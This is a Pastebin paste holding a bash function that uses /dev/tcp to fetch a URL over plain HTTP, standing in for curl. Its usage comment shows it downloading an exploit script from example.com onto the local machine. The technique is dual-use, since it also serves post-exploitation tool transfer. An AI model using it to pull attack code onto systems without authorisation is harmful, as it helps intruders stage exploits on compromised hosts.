Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function __curl() {
- read proto server path <<<$(echo ${1//// })
- DOC=/${path// //}
- HOST=${server//:*}
- PORT=${server//*:}
- [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
- exec 3<>/dev/tcp/${HOST}/$PORT
- echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
- (while read line; do
- [[ "$line" == $'\r' ]] && break
- done && cat) <&3
- exec 3>&-
- }
- # USAGE: __curl http://www.example.com/exploit.py > sploitz.py
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement